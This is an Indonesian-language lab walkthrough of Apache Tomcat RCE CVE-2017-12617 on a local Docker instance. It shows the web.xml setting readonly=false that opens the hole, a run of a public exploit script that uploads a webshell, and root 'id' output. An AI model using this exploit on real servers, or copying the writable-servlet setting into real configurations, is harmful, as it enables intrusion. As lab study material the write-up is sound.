Apache2 Tomcat RCE (CVE-2017-12617)

Masalah

Diberikan layanan yang tersedia pada localhost:8080, temukan celah keamanan didalamnya!

Penyelesaian

Persiapan

  • Unduh berkas Docker Apache2 Tomcat yang vulnerable.
  • Atur konfigurasi pada /opt/apache-tomcat-8.5.21/conf/web.xml agar berisi kode dibawah ini.
~ skipped ~
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

~ skipped ~

Properti yang perlu diatur agar vulnerable adalah readonly := false.

Eksploitasi

Untuk mengeksploitasi layanan tersebut, gunakan berkas script yang tersimpan pada Github.

$ /tomcat-cve-2017-12617.py -u http://localhost:8080 -p pwn
   _______      ________    ___   ___  __ ______     __ ___   __ __ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / / 
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /  
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /   
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/    

[@intx0x80]

Uploading Webshell .....
$ id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

results matching ""

    No results matching ""